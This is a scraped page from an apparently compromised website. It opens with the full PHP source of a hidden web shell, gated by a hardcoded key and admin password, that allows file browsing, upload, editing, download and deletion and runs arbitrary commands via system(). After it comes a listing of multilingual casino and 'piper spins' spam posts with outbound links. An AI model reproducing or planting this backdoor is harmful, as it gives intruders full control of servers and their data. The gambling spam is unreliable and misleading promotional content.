if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[đŸ–„ïž Terminal] '; echo '[đŸ’Ÿ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[đŸšȘ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

đŸ’Ÿ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

đŸ–„ïž Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Post – collectives.berlin

Your digital paradise.

Category: Post

  • SzĂłrakozĂĄs_a_kaszinĂłjĂĄtĂ©kok_vilĂĄgĂĄban_keresztĂŒl_a_https_nnvcasino-2_onre

    SzĂłrakozĂĄs a kaszinĂłjĂĄtĂ©kok vilĂĄgĂĄban keresztĂŒl a https://nnvcasino-2.onrender.com platformon mostantĂłl elĂ©rhetƑvĂ© vĂĄlt A KaszinĂłjĂĄtĂ©kok KĂ­nĂĄlata Ă©s VĂĄlasztĂ©ka A NyerƑgĂ©pek KĂŒlönlegessĂ©gei BĂłnuszok Ă©s PromĂłciĂłk a JĂĄtĂ©kosoknak A BĂłnuszok FeltĂ©telei Ă©s FogadĂĄsi KövetelmĂ©nyek BiztonsĂĄg Ă©s FelelƑssĂ©gteljes JĂĄtĂ©k A FelelƑssĂ©gteljes JĂĄtĂ©k Eszközei A Platform AlkalmazĂĄsĂĄnak Ă©s HasznĂĄlatĂĄnak EgyszerƱsĂ©ge KeresĂ©s a KaszinĂłjĂĄtĂ©kok ÉlmĂ©nyeire AlternatĂ­v MegközelĂ­tĂ©sben đŸ”„ JĂĄtssz ▶ SzĂłrakozĂĄs a…

    Click or not…

  • Exceptionnel_divertissement_en_ligne_via_https_gangstasino-casino-23_pages_dev_p

    Exceptionnel divertissement en ligne via https://gangstasino-casino-23.pages.dev pour des joueurs exigeants et passionnĂ©s L'univers des machines Ă  sous en ligne Les jackpots progressifs : la quĂȘte du gros gain Les jeux de table : un incontournable des casinos Les diffĂ©rentes variantes de blackjack Le casino en direct : l'expĂ©rience immersive ultime Les avantages du casino en…

    Click or not…

  • SzĂłrakoztatĂł_perceket_kĂ­nĂĄl_a_https_nnvcasino-2_onrender_com_ahol_izgalmas_j

    SzĂłrakoztatĂł perceket kĂ­nĂĄl a https://nnvcasino-2.onrender.com, ahol izgalmas jĂĄtĂ©kok Ă©s nyerĂ©si lehetƑsĂ©gek vĂĄrnak rĂĄd A NyerƑgĂ©pek VarĂĄzsa Ă©s SokszĂ­nƱsĂ©ge A Modern NyerƑgĂ©pek TechnolĂłgiai ÚjdonsĂĄgai Az ÉlƑ KaszinĂł ÉlmĂ©nye – A ValĂłsĂĄg Ă©s a VirtuĂĄlis VilĂĄg Ötvözete Az ÉlƑ KaszinĂł JĂĄtĂ©kok ElƑnyei Ă©s TechnikĂĄi A FelelƑssĂ©gteljes JĂĄtĂ©k FontossĂĄga Hogyan Maradjunk FelelƑssĂ©gteljes JĂĄtĂ©kosok? A BĂłnuszok Ă©s PromĂłciĂłk VarĂĄzsa…

    Click or not…

  • Authentique_gangstasino_casino_lexploration_dune_plateforme_de_divertissement_en

    Authentique gangstasino casino, lexploration dune plateforme de divertissement en ligne innovante Les Jeux Disponibles et Leur QualitĂ© Les Fournisseurs de Logiciels et Leur Impact Les MĂ©thodes de Paiement et la SĂ©curitĂ© des Transactions Les Options de DĂ©pĂŽt et de Retrait Le Service Client et l'Assistance Technique La DisponibilitĂ© et la RĂ©activitĂ© du Support La Licence…

    Click or not…

  • Eccellente_esperienza_di_gioco_e_https_only-spin-casino_it_per_amanti_del_rischi

    Eccellente esperienza di gioco e https://only-spin-casino.it per amanti del rischio online L'Offerta di Giochi e le Slot Machine I Fornitori di Software Principali Bonus e Promozioni Esclusive Programmi VIP e FedeltĂ  Metodi di Pagamento e Sicurezza Politiche di Prelievo e Verifica Assistenza Clienti e Supporto Tecnico Considerazioni Finali sull'Esperienza di Gioco e l'AffidabilitĂ  đŸ”„ Gioca…

    Click or not…

  • OpportunitĂ _uniche_e_divertimento_assicurato_con_https_only-spin-casino_it_per-67392897

    OpportunitĂ  uniche e divertimento assicurato con https://only-spin-casino.it per gli appassionati del gioco online L’importanza della sicurezza e delle licenze nel gioco online Come riconoscere un casinĂČ online sicuro L’offerta di giochi e la qualitĂ  del software L’importanza dei giochi con jackpot progressivi I bonus e le promozioni: cosa bisogna sapere Come sfruttare al meglio i…

    Click or not…

  • Consistent_spin_control_and_piperspin_for_better_table_tennis_performance

    Consistent spin control and piperspin for better table tennis performance Understanding Spin Variation in Table Tennis The Role of the Grip Developing Consistent Stroke Mechanics Drills for Improving Stroke Consistency The Mental Aspect of Spin Control Developing a Consistent Pre-Shot Routine Advanced Techniques and Spin Combinations Beyond the Basics: Applying Piperspin To Your Game đŸ”„…

    Click or not…

  • Spezielle_Lösungen_fĂŒr_Rotationstechnik_mit_https_piper-spins_ch_und_maximaler

    Spezielle Lösungen fĂŒr Rotationstechnik mit https://piper-spins.ch und maximaler Performance PrĂ€zise Drehvorrichtungen fĂŒr anspruchsvolle Anwendungen Individuelle Anpassung und Engineering-Leistung Rotationssysteme fĂŒr die Prozessindustrie Sicherheit und ZuverlĂ€ssigkeit im Fokus Spezialanfertigungen und kundenspezifische Lösungen Von der Idee bis zum fertigen Produkt Anwendungen in der Automatisierungstechnik Fortschrittliche Materialien und Fertigungstechniken đŸ”„ Spielen ▶ Spezielle Lösungen fĂŒr Rotationstechnik mit https://piper-spins.ch…

    Click or not…

  • Remarkable_flight_instruction_featuring_piper-spins_ca_delivers_confident_pilots

    Remarkable flight instruction featuring piper-spins.ca delivers confident pilots and lasting skills Understanding Spin Awareness and Prevention The Role of Coordinated Flight Mastering Spin Recovery Techniques Variations in Aircraft Spin Characteristics Advanced Spin Training and Upset Recovery The Importance of Physiological Awareness The Benefits of Specialized Spin Instruction Beyond Recovery: Building Confident and Competent Pilots đŸ”„…

    Click or not…

  • Stabile_Flugleistung_erreichen_mit_piper-spins_ch_und_prĂ€ziser_Ausbildung_fĂŒr

    Stabile Flugleistung erreichen mit piper-spins.ch und prĂ€ziser Ausbildung fĂŒr anspruchsvolle Piloten Die Bedeutung von Spins und ungewollten FlugzustĂ€nden Spin-Eintritt und -Beendigung: Die entscheidenden Phasen Erweiterte Flugmanöver und Notverfahren Die Rolle der Simulation in der Pilotenausbildung Flugzeugtypen und individuelle Schulungsprogramme Spezialisierte Kurse fĂŒr Kunstflug und Wettbewerbspiloten Die Bedeutung der regelmĂ€ĂŸigen Fortbildung Herausforderungen und Zukunftsperspektiven in der…

    Click or not…